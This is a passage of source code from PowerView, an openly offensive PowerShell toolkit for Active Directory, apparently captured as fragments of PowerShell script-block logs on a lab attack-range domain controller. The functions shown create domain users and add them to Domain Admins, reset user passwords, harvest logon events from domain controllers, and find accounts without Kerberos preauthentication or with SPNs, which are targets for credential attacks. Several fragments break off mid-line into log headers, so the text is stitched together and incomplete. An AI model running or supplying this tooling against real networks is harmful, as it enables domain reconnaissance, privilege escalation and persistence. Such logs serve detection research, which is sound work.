Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
}
}
$UserSearcher.dispose()
}
}
}
function New-DomainUser {
<#
.SYNOPSIS
Creates a new domain user (assuming appropriate permissions) and returns the user object.
TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
.PARAMETER SamAccountName
Specifies the Security Account Manager (SAM) account name of the user to create.
Maximum of 256 characters. Mandatory.
.PARAMETER AccountPassword
Specifies the password for the created user. Mandatory.
.PARAMETER Name
Specifies the name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER DisplayName
Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER Description
Specifies the description of the user to create.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
Creates the 'harmj0y2' user with the specified description and password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
Creates the 'harmj0y2' user with the specified description and password, using the specified
alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Name,
[ValidateNotNullOrEmpty()]
[String]
$DisplayName,
[ValidateNotNullOrEmpty()]
[String]
$Description,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
# set all the appropriate user parameters
$User.SamAccountName = $Context.Identity
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
if ($PSBoundParameters['Name']) {
$User.Name = $Name
}
else {
$User.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$User.DisplayName = $DisplayName
}
else {
$User.DisplayName = $Context.Identity
}
if ($PSBoundParameters['Description']) {
$User.Description = $Description
}
Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
try {
$Null = $User.Save()
Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
$User
}
catch {
Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
}
}
}
function Set-DomainUserPassword {
<#
.SYNOPSIS
Sets the password for a given user identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified user -Identity,
which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
.PARAMETER Identity
A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
specifying the user to reset the password for.
.PARAMETER AccountPassword
Specifies the password to reset the target user's to. Mandatory.
.PARAMETER Domain
Specifies the domain to use to search for the user identity, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
Resets the password for 'andy' to the password specified.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
Resets the password for 'andy' usering the alternate credentials specified.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('UserName', 'UserIdentity', 'User')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{ 'Identity' = $Identity }
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
if ($User) {
Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
try {
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$Null = $User.Save()
Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
}
catch {
Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
}
}
else {
Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
}
}
}
function Get-DomainUserEvent {
<#
.SYNOPSIS
Enumerate account logon events (ID 4624) and Logon with explicit credential
events (ID 4648) from the specified host (default of the localhost).
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses an XML path filter passed to Get-WinEvent to retrieve
security events with IDs of 4624 (logon events) or 4648 (explicit credential
logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
A maximum of -MaxEvents (default of 5000) are returned.
.PARAMETER ComputerName
Specifies the computer name to retrieve events from, default of localhost.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events to retrieve. Default of 5000.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer.
.EXAMPLE
Get-DomainUserEvent
Return logon events on the local machine.
.EXAMPLE
Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
Return all logon events from the last 3 days from every domain controller in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogonEvent
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogonEvent')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
# the XML filter we're passing to Get-WinEvent
$XPathFilter = @"
<QueryList>
<Query Id="0" Path="Security">
<!-- Logon events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4624)
and TimeCreated[
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
and
*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
</Select>
<!-- Logon with explicit credential events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4648)
and TimeCreated[
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
</Select>
<Suppress Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and
(Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)
]
]
and
*[
EventData[
(
(Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0')
or
Data[@Name='TargetUserName']='ANONYMOUS LOGON'
or
Data[@Name='TargetUserSID']='S-1-5-18'
)
]
]
</Suppress>
</Query>
</QueryList>
"@
$EventArguments = @{
'FilterXPath' = $XPathFilter
'LogName' = 'Security'
'MaxEvents' = $MaxEvents
}
if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($Computer in $ComputerName) {
$EventArb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109895Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local941the target domain.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'User'
Enumerates users in the current domain with 'outlier' properties filled in.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
.EXAMPLE
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
Enumerates computers in the current domain with 'outlier' properties filled in.
.OUTPUTS
PowerView.PropertyOutlier
Custom PSObject with translated object property outliers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.PropertyOutlier')]
[CmdletBinding(DefaultParameterSetName = 'ClassName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
[Alias('Class')]
[ValidateSet('User', 'Group', 'Computer')]
[String]
$ClassName,
[ValidateNotNullOrEmpty()]
[String[]]
$ReferencePropertySet,
[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
[PSCustomObject]
$ReferenceObject,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
# Domain / Credential
if ($PSBoundParameters['Domain']) {
if ($PSBoundParameters['Credential']) {
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
else {
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
}
$SchemaArguments = @{}
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
if ($TargetForest) {
$SchemaArguments['Forest'] = $TargetForest
}
}
PROCESS {
if ($PSBoundParameters['ReferencePropertySet']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
$ReferenceObjectProperties = $ReferencePropertySet
}
elseif ($PSBoundParameters['ReferenceObject']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
}
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
$Objects = Get-DomainUser @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $UserReferencePropertySet
}
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $GroupReferencePropertySet
}
}
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
$Objects = Get-DomainComputer @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $ComputerReferencePropertySet
}
}
else {
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
}
ForEach ($Object in $Objects) {
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
ForEach($ObjectProperty in $ObjectProperties) {
if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
$Out
}
}
}
}
}
########################################################
#
# "net *" replacements and other fun start below
#
########################################################
function Get-DomainUser {
<#
.SYNOPSIS
Return all users or specific user objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all user objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. Also accepts DOMAIN\user format.
.PARAMETER SPN
Switch. Only return user objects with non-null service principal names.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
.PARAMETER TrustedToAuth
Switch. Return computer objects that are trusted to authenticate for other principals.
.PARAMETER PreauthNotRequired
Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainUser -Domain testlab.local
Return all users for the testlab.local domain
.EXAMPLE
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
Return the user with the given SID, as well as Administrator.
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
lastlogoff samaccountname
---------- --------------
12/31/1600 4:00:00 PM dfm.a
12/31/1600 4:00:00 PM dfm
12/31/1600 4:00:00 PM harmj0y
12/31/1600 4:00:00 PM Administrator
.EXAMPLE
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
Search the specified OU for privileged user (AdminCount = 1) that allow delegation
.EXAMPLE
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
.EXAMPLE
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
distinguishedname
-----------------
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
.INPUTS
String
.OUTPUTS
PowerView.User
Custom PSObject with translated user property fields.
PowerView.User.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[Switch]
$SPN,
[Switch]
$AdminCount,
[Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
$AllowDelegation,
[Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
$DisallowDelegation,
[Switch]
$TrustedToAuth,
[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
[Switch]
$PreauthNotRequired,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
if (-not $UserSearcher) {
Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$Converb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109894Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local841 of the Results object: $_"
}
}
$DNSSearcher.dispose()
}
}
}
function Get-Domain {
<#
.SYNOPSIS
Returns the domain object for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
Specifies the domain name to query for, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-Domain -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Domain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
A complex .NET domain object.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
}
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
